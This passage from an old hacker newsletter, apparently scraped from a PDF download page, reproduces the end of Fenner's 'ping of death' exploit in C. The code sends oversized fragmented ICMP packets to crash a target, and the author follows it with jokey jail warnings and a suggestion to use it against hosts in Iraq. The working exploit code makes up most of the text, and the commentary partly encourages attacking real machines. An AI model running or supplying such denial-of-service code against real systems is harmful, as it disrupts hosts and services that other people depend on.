[ Pobierz całość w formacie PDF ]
.sin_addr = ip->ip_dst; dst.sin_family = AF_INET; icmp->icmp_type = ICMP_ECHO; icmp->icmp_code = 0; icmp->icmp_cksum = htons(~(ICMP_ECHO<< 8)); /* the checksum of all 0's is easy to compute */ for (offset = 0; offset <65536; offset += (sizeof buf - sizeof *ip)) { ip->ip_off = FIX(offset >> 3); if (offset < 65120) ip->ip_off |= FIX(IP_MF); else ip->ip_len = FIX(418); /* make total 65538 */ if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst, sizeof dst) < 0) { fprintf(stderr, "offset %d: ", offset); perror("sendto"); } if (offset == 0) { icmp->icmp_type = 0; icmp->icmp_code = 0; icmp->icmp_cksum = 0; } }}(End of Fenner's ping exploit message.)********************************************YOU CAN GO TO JAIL NOTE: Not only is this hack not elite, if you arereading this you don't know enough to keep from getting busted from doingthis ping hack.On the other hand, if you were to do it to an Internethost in Iraq.********************************************Of course there are many other kewl things you can do with ping.Ifyou have a shell account, you can find out lots of stuph about ping bygiving the command: man pingIn fact, you can get lots of details on any Unix command with "man."Have fun with ping -- and be good! But remember, I'm not begging theevil genius wannabes to be good.See if I care when you get busted._________________________________________________________To subscribe, email hacker@techbroker.com with message “subscribe hh
[ Pobierz całość w formacie PDF ]